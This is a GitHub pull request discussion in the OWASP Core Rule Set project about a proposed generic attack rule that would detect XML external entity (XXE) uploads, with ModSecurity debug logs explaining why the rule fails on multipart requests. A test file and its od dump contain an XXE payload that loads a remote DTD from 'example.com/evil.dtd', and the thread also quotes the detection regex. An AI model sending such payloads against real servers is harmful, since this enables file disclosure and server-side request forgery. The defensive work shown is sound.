8000 Replace NodeJS Rule Set by theMiddleBlue · Pull Request #2163 · coreruleset/coreruleset · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

Replace NodeJS Rule Set #2163

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

Conversation

theMiddleBlue
Copy link
Contributor

this replaces #2061 removing NodeJS rule set and adds a new generic rule set.

@theMiddleBlue theMiddleBlue mentioned this pull request Jul 16, 2021
@theMiddleBlue
Copy link
Contributor Author

hmm, the check has an error on a renamed yaml... am I missed something?

@franbuehler
Copy link
Contributor

Meeting decision August 2021: @fzipi will check the failing tests and merge the PR when the tests are ok. (@dune73 says: Feel free to merge as soon as the tests pass. The PR looks good to me.)

@fzipi fzipi self-assigned this Aug 2, 2021
Copy link
Member
@fzipi fzipi left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The test syntax should be full yaml, so go-ftw is able to handle it properly.

@theMiddleBlue
Copy link
Contributor Author

yep, thanks! I'll send an update asap

@theMiddleBlue
Copy link
Contributor Author

@fzipi have I changed it right? I see that tests still failing

@fzipi360
Copy link

@theMiddleBlue Thanks. For the yaml part, they fail because the empty lines need to be really empty (I tend to do the same and indent the whole line). If you remove all spaces in that line it should work in go-ftw and the yaml linter.

@theMiddleBlue theMiddleBlue force-pushed the generic-attack branch 2 times, most recently from 8e8ee42 to d3cbbc1 Compare August 25, 2021 12:29
@fzipi
Copy link
Member
fzipi commented Aug 25, 2021

And for the ftw test, you'll need to change also:

diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index c684fbf..e41b68c 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -30,7 +30,7 @@ jobs:
                 REQUEST-931-APPLICATION-ATTACK-RFI,
                 REQUEST-932-APPLICATION-ATTACK-RCE,
                 REQUEST-933-APPLICATION-ATTACK-PHP,
-                REQUEST-934-APPLICATION-ATTACK-NODEJS,
+                REQUEST-934-APPLICATION-ATTACK-GENERIC,
                 REQUEST-941-APPLICATION-ATTACK-XSS,
                 REQUEST-942-APPLICATION-ATTACK-SQLI,
                 REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION,

@dune73
Copy link
Member
dune73 commented Sep 2, 2021

Hey @theMiddleBlue, would you have time to execute the requested changes before the meeting on Monday? Would be cool if we could merge before that.

@theMiddleBlue
Copy link
Contributor Author

already done with the previous commit (I guess) but I can't figure out why tests fail

@fzipi
Copy link
Member
fzipi commented Sep 2, 2021

TBH, me neither. Something is not working, meaning the rule is not being fired by our tests.

@dune73
Copy link
Member
dune73 commented Sep 2, 2021

How about GH not taking .github/workflows/test.yml into consideration and loading the static - non-existing - NodeJS rule file?

Does it work with go-ftw?

@fzipi
Copy link
Member
fzipi commented Sep 2, 2021

No, it bails with both 🤔

@fzipi
Copy link
Member
fzipi commented Sep 2, 2021

What is failing is the multipart in modsecurity. I'm trying to find out why in this particular test.

@dune73
Copy link
Member
dune73 commented Sep 3, 2021

This is makes me very curious. The suspense is rising.

@fzipi
Copy link
Member
fzipi commented Sep 4, 2021

I'm still testing this one. Seems like a modsec problem (or a test generation problem) for the multipart/form-data.

@fzipi
Copy link
Member
fzipi commented Sep 4, 2021

🤦 Found it. Of course.

👉 @theMiddleBlue This works perfectly in modsec3-nginx.

ModSecurity: Warning. Matched "Operator `Rx' with parameter `<?xml.+<!DOCTYPE.+<!ENTITY.+\s+(?:SYSTEM|PUBLIC)\s+' against variable `REQUEST_BODY' (Value: `------WebKitFormBoundarysbZ9sZS2ONRQAD7q\x0d\x0aContent-Disposition: form-data; name="name"\x0d\x0aC (762 characters omitted)' ) [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf"] [line "81"] [id "934110"] [rev ""] [msg "XML eXternal Entity in file upload"] [data "Matched Data: xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM  found within REQUEST_BODY"] [severity "2"] [ver "OWASP_CRS/3.3.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-xml"] [tag "platform-multi"] [tag "attack-xxe"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "172.19.0.3"] [uri "/anything"] [unique_id "163076402491.614821"] [ref "o538,58v209,736t:compressWhitespace"]

Right now I've made it to no errors in Apache, but no matches either. I think it is being discarded, but need to look at debug logs.

I think this is not working in apache because of owasp-modsecurity/ModSecurity#2193 and/or owasp-modsecurity/ModSecurity#2417.

Probably @airween (of course) can chime in to see what's next.

@fzipi
Copy link
Member
fzipi commented Sep 5, 2021

Additional tests:

  • started using debug mode in MS
  • fixed sending always using \r\n when multipart/form-data in go-ftw, and now it doesn't error in multipart
  • test file looks updated, at least in temporary directory:
root@bbdd50f4e2c8:/tmp/modsecurity/tmp# more 20210905-110705-YTSk2Ouvr-37s-pgdt6MeAAAAMM-file-B9tpjc
RIFFXWAVEiXML{<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://example.com/evil.dtd'>%remote;%init;%trick;]>fmtXXXXXdataXXXXXX

Just in case:

root@bbdd50f4e2c8:/tmp/modsecurity/tmp# od -c 20210905-110705-YTSk2Ouvr-37s-pgdt6MeAAAAMM-file-B9tpjc
0000000   R   I   F   F   X   W   A   V   E   i   X   M   L   {   <   ?
0000020   x   m   l       v   e   r   s   i   o   n   =   "   1   .   0
0000040   "   ?   >   <   !   D   O   C   T   Y   P   E       A   N   Y
0000060   [   <   !   E   N   T   I   T   Y       %       r   e   m   o
0000100   t   e       S   Y   S   T   E   M       '   h   t   t   p   :
0000120   /   /   e   x   a   m   p   l   e   .   c   o   m   /   e   v
0000140   i   l   .   d   t   d   '   >   %   r   e   m   o   t   e   ;
0000160   %   i   n   i   t   ;   %   t   r   i   c   k   ;   ]   >   f
0000200   m   t   X   X   X   X   X   d   a   t   a   X   X   X   X   X
0000220   X
0000221
  • we can at least conclude that it is getting the file now
  • there is no match against REQUEST_BODY, which puzzles me
[05/Sep/2021:11:13:04.735943 +0000] [localhost/sid#7f129c791110][rid#7f1298baa0a0][/post][4] Recipe: Invoking rule 7f129807e1f0; [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf"] [line "98"] [id "934110"].
[05/Sep/2021:11:13:04.736702 +0000] [localhost/sid#7f129c791110][rid#7f1298baa0a0][/post][5] Rule 7f129807e1f0: SecRule "REQUEST_BODY" "@rx <?xml.+<!DOCTYPE.+<!ENTITY.+\\s+(?:SYSTEM|PUBLIC)\\s+" "phase:2,log,tag:modsecurity,id:934110,block,capture,t:none,t:compressWhitespace,msg:'XML eXternal Entity in file upload',logdata:'Matched Data: %{TX.0} found within REQUEST_BODY',tag:application-multi,tag:language-xml,tag:platform-multi,tag:attack-xxe,tag:paranoia-level/1,tag:OWASP_CRS,tag:capec/1000/152/242,ctl:auditLogParts=+E,ver:OWASP_CRS/3.3.0,severity:CRITICAL"
[05/Sep/2021:11:13:04.737275 +0000] [localhost/sid#7f129c791110][rid#7f1298baa0a0][/post][4] Rule returned 0.
[05/Sep/2021:11:13:04.738751 +0000] [localhost/sid#7f129c791110][rid#7f1298baa0a0][/post][9] No match, not chained -> mode NEXT_RULE.

@theMiddleBlue Maybe the problem is that per https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-%28v2.x%29#request_body:

Holds the raw request body. This variable is available only if the URLENCODED request body processor was used, which will occur by default when the application/x-www-form-urlencoded content type is detected, or if the use of the URLENCODED request body parser was forced. 

Anyway, even after adding ctl:forceRequestBodyVariable=On, same results: no match.

[05/Sep/2021:11:35:46.636472 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Recipe: Invoking rule 7f821c04a220; [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf"] [line "100"] [id "934110"].
[05/Sep/2021:11:35:46.637068 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][5] Rule 7f821c04a220: SecRule "REQUEST_BODY" "@rx <?xml.+<!DOCTYPE.+<!ENTITY.+\\s+(?:SYSTEM|PUBLIC)\\s+" "phase:2,log,tag:modsecurity,id:934110,block,capture,t:none,t:compressWhitespace,msg:'XML eXternal Entity in file upload',logdata:'Matched Data: %{TX.0} found within REQUEST_BODY',tag:application-multi,tag:language-xml,tag:platform-multi,tag:attack-xxe,tag:paranoia-level/1,tag:OWASP_CRS,tag:capec/1000/152/242,ctl:auditLogParts=+E,ctl:forceRequestBodyVariable=On,ver:OWASP_CRS/3.3.0,severity:CRITICAL,chain"
[05/Sep/2021:11:35:46.637822 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Rule returned 0.

End of debug log:

[05/Sep/2021:11:35:50.331920 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Operator completed in 9 usec.
[05/Sep/2021:11:35:50.332469 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Rule returned 0.
[05/Sep/2021:11:35:50.333029 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][9] No match, not chained -> mode NEXT_RULE.
[05/Sep/2021:11:35:50.333470 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Recording persistent data took 0 microseconds.
[05/Sep/2021:11:35:50.334059 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Audit log: Ignoring a non-relevant request.
[05/Sep/2021:11:35:50.334623 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Multipart: Cleanup started (remove files 1).
[05/Sep/2021:11:35:50.335322 +0000] [localhost/sid#7f822075b110][rid#7f821cde80a0][/post][4] Multipart: Deleted file (part) "/tmp/modsecurity/tmp/20210905-113544-YTSrj2sg1Nt4uhkYUjSUpQAAAIE-file-nysoqp"

Weird things

  1. Debug log starts with a bunch of
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@

Making it kind of "binary". After filtering using strings, can be more or less read. Something fishy there.

  1. No audit.log (probably because no match?) nor error.log get information. go-ftw returns 11:35AM DBG ftw/run: error receiving response: unexpected EOF, which is not normal.

Good things

@airween
Copy link
Contributor
airween commented Sep 8, 2021

I've made some researches, and found these issues:

  • looks like the test file is wrong; the body of request isn't well formed, it breaks the RFC
  • this request body triggers the MULTIPART_STRICT_ERROR
  • I think (but this is just my theory) mod_security2 ignores the REQUEST_BODY if the MULTIPART_STRICT_ERROR is triggered, even though the ctl:forceRequestBodyVariable=On action is there
  • in this fix (see below), I've changed the test file, now the request is correct IMHO
  • I also turned on the RequestBodyVariable on-the-fly, but I'm not sure this is a good solution. This could lead to many FP's (see 944100, 944110, 944120 and 944210 failed tests with v3)

The patch is here.

Maybe we should replace the REQUEST_BODY by FULL_REQUEST, that's available in both versions.

What do you think?

@fzipi360
Copy link
fzipi360 commented Sep 8, 2021

Thanks @airween for your comments. I think that the test data provided by @theMiddleBlue is good enough, but the test tools should do a proper treatment so you don't need to add additional text.

In particular, I've changed go-ftw to change \n to \r\n before sending in this case. ftw doesn't perform this change. In any case, this is a problem with the modsec2 parser: modsec3 works fine.

@airween
Copy link
Contributor
airween commented Sep 8, 2021

Sure - but test is just a part of the problem.

The real question is what should we use in these cases? Keep the REQUES_BODY, or use the FULL_REQUEST?

6D40

@franbuehler
Copy link
Contributor

Meeting decision Oct 4: @theMiddleBlue will change REQUEST_BODY to FULL_REQUEST so that it works for both v2 and v3. Add some tests that proves that.

@fzipi
Copy link
Member
fzipi commented Nov 5, 2021

Looks like we need to merge this one before #2259

@dune73
Copy link
Member
dune73 commented Nov 5, 2021

Yes, and it seems to be stuck.

@fzipi
Copy link
Member
fzipi commented Nov 26, 2021

Did a new pass on this one today. With the fixed go-ftw binary, and using the FULL_REQUEST... the test is still not passing.

Don't know what else to try.

[26/Nov/2021:20:34:09.984507 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][4] Recipe: Invoking rule     7f756fcfa1e8; [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf"] [line "99"] [id  "934110"].
 [26/Nov/2021:20:34:09.985286 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][5] Rule 7f756fcfa1e8:        SecRule "FULL_REQUEST" "@rx <?xml.+<!DOCTYPE.+<!ENTITY.+\\s+(?:SYSTEM|PUBLIC)\\s+" "phase:2,log,tag:modsecurity,id:    934110,block,capture,t:none,t:compressWhitespace,msg:'XML eXternal Entity in file upload',logdata:'Matched Data: %{TX. 0} found within FULL_REQUEST',tag:application-multi,tag:language-xml,tag:platform-multi,tag:attack-xxe,tag:paranoia-   level/1,tag:OWASP_CRS,tag:capec/1000/152/242,ctl:auditLogParts=+E,ver:OWASP_CRS/3.3.0,severity:CRITICAL,chain"
 [26/Nov/2021:20:34:09.985920 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][9] T (0)                     compressWhitespace: "POST /post HTTP/1.1 Accept: */* Connection: close Content-Length: 668 Content-Type: multipart/    form-data; boundary=------WebKitFormBoundarysbZ9sZS2ONRQAD7q Host: localhost User-Agent: ModSecurity CRS 3 Tests       \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
 [26/Nov/2021:20:34:09.986511 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][4] Transformation completed  in 594 usec.
 [26/Nov/2021:20:34:09.987113 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][4] Executing operator "rx"   with param "<?xml.+<!DOCTYPE.+<!ENTITY.+\\s+(?:SYSTEM|PUBLIC)\\s+" against FULL_REQUEST.
 [26/Nov/2021:20:34:09.987716 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][9] Target value: "POST /     post HTTP/1.1 Accept: */* Connection: close Content-Length: 668 Content-Type: multipart/form-data; boundary=------     WebKitFormBoundarysbZ9sZS2ONRQAD7q Host: localhost User-Agent: ModSecurity CRS 3 Tests                                 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
 [26/Nov/2021:20:34:09.988960 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][4] Operator completed in 9   usec.
 [26/Nov/2021:20:34:09.989628 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][4] Rule returned 0.

Looks like the actual request body in the FULL_REQUEST Isn't properly loaded :/

@fzipi
Copy link
Member
fzipi commented Nov 29, 2021

@airween I'm resorting to you on this one. Maybe I did something in a hurry, but I don't know by know.....can you help me figuring out what's needed here?

@dune73
Copy link
Member
dune73 commented Dec 6, 2021

@airween: Could you cast an eye here?

@airween airween assigned airween and unassigned fzipi Dec 6, 2021
@franbuehler
Copy link
Contributor

Meeting decision December: @airween will look into the failing tests and shepherd this PR to merging.

@airween
Copy link
Contributor
airween commented Dec 12, 2021

I started to investigate this issue. This the output of gdb, explanation under the block:

Breakpoint 1, var_full_request_generate (msr=0x7ffff5e03790, var=0x7ffff3857640, rule=0x7ffff38572a8, vartab=0x7ffff447b408, mptmp=0x7ffff447b028) at re_variables.c:2081
2081	    return var_simple_generate_ex(var, vartab, mptmp, full_request,
(gdb) p msr->msc_reqbody_buffer
$1 = 0x0
(gdb) p msr->msc_reqbody_length
$2 = 359
(gdb) p full_request
$3 = 0x555555688910 "POST / HTTP/1.1\n\nHost: localhost\nUser-Agent: curl/7.74.0\nAccept: */*\nContent-Length: 359\nContent-Type: multipart/form-data; boundary=", '-' <repeats 24 times>, "e7b37752c8d6cdb3\n\n"

As you can see, the behavior of variable FULL_REQUEST is similar like REQUEST_BODY: it's empty as it is in the documentation. The code is a bit weird, because it allocates the space for the variable, but that will be empty (btw the body length is 359 bytes).

I tried to turn on the variable REQUEST_BODY (and replaced the FULL_REQUEST by it) with an extra rule:

SecRule REQUEST_HEADERS:Content-Type "@rx ^multipart/form-data" \
     "id:'200006',phase:1,t:none,t:lowercase,pass,nolog,ctl:forceRequestBodyVariable=on"

without any results - the REQUEST_BODY stayed sill as empty, despite the rule 200006 triggered and returned with 1.

I need more investigation, especially how mod_sec2 handles the request body.

@airween airween self-requested a review December 15, 2021 14:45
@airween
Copy link
Contributor
airween commented Dec 15, 2021

I did some more research about how REQUEST_BODY and FULL_REQUEST variables work, I think now I understand them :).

The bad news is that I'm afraid we can't do this what @theMiddleBlue wants, namely inspect the whole request (body).

As you know, mod_securit2 (and libmodsecurity3 too - but it does not matter now) has the variable REQUEST_BODY, which available only if the body processor is the URLENCODED, or there is a ctl:forceRequestBodyVariable=On action at some rule. But this action only has any effect, when there is no request body processor defined using the ctl:forceRequestBodyVariable option in the REQUEST_HEADERS phase. - see the reference.

Mod_security2 (and 3 too) has 4 kind of request body processors: URLENCODE, MULTIPART, JSON and XML. Triggering of the first two processors are hard coded here and here. So, the processor depends on CT header, this means you can't avoid to use them if the CT header as is. The last two types can triggered through rules, see XML and JSON triggers in modsecurity.conf.

As the documentation says, REQUEST_BODY is available only if there is no body processor defined (in phase.1). Well, this is unfilled, because no matter which kind of the CT, any type of processors will defined.

I supposed the FULL_REQUEST above, but I've found that this variable derived from the REQUEST_BODY - which means if there is no REQUEST_BODY, the body part of the request will not copied into FULL_REQUEST. We can argue that this is a bug or not (I think this is it), but that's it. Note, that I think there is definitely a bug, that the engine allocates the memory for the full request includes the body size, but does not fill it. See @fzipi's comment, this line:

[26/Nov/2021:20:34:09.985920 +0000] [localhost/sid#7f7573b6c110][rid#7f7570bf20a0][/post][9] T (0)                     compressWhitespace:
"POST /post HTTP/1.1
Accept: */*
Connection: close
Content-Length: 668
Content-Type: multipart/form-data; boundary=------WebKitFormBoundarysbZ9sZS2ONRQAD7q
Host: localhost
User-Agent: ModSecurity CRS 3 Tests

\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\

These zeroes are the allocated spaces for the body, which isn't available - therefore they remain empty...

I didn't find any other solution, so I'm very sorry, but unfortunately I can say now, this rule won't work.

Copy link
Member
@fzipi fzipi left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm sad we cannot make this one work. We invested a lot of time, and it solves something we don't have.

But based on recent developments and tests, we should close this one as is, or push just the file renaming so we can follow with the SSRF chained PR.

@airween
Copy link
Contributor
airween commented Dec 19, 2021

I reviewed again with a minimalist rule set:

SecRule REQUEST_BODY "@rx foo" \
    "id:110001,\
    phase:2,\
    capture,\
    msg:'Matched var: %{TX.0}',\
    pass"

SecRule FULL_REQUEST "@rx foo" \
    "id:110002,\
    phase:2,\
    capture,\
    msg:'Matched var: %{TX.0}',\
    pass"

and really looks like if the REQUEST_BODY isn't present, then FULL_REQUEST doesn't contain the body part of request.

Result of the urlencoded request curl -X POST -d 'foo=bar' http://localhost:

[19/Dec/2021:18:25:28.263058 +0100] [localhost/sid#7efc4029fab8][rid#7efc4202e0a0][/][9] Target value: "foo=bar"
...
[19/Dec/2021:18:25:28.263295 +0100] [localhost/sid#7efc4029fab8][rid#7efc4202e0a0][/][9] Target value: "POST / HTTP/1.1\n\nHost: localhost\nUser-Agent: curl/7.74.0\nAccept: */*\nContent-Length: 7\nContent-Type: application/x-www-form-urlencoded\n\nfoo=bar\x00"

Result of the multipart request curl -X POST -F 'foo=bar' -F 'foofile=@bar.txt' http://localhost

[19/Dec/2021:18:29:08.490887 +0100] [localhost/sid#7fa403d3aab8][rid#7fa405a380a0][/][9] Target value: "POST / HTTP/1.1\n\nHost: localhost\nUser-Agent: curl/7.74.0\nAccept: */*\nContent-Length: 287\nContent-Type: multipart/form-data; boundary=------------------------439f0e86214daf86\n\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x14\x8a\x07\xa4\x7f\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

The rule with target REQUEST_BODY logged nothing (because the variable is empty). And I can't force to use this variable with ctl::forceRequestBodyVariable=on, because the body processor is already set.

May be this rule can work as plugin through Lua - as the antivirus-plugin works.

But I'm afraid we can't do anything else.

@franbuehler
Copy link
Contributor

Outcome issue meeting December 2021: We close the PR and create a new PR with just the renaming. Also open an issue with the rule you are killing.

@airween
Copy link
Contributor
airween commented Dec 20, 2021

Closing this in favour of discussion of #2291.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants
0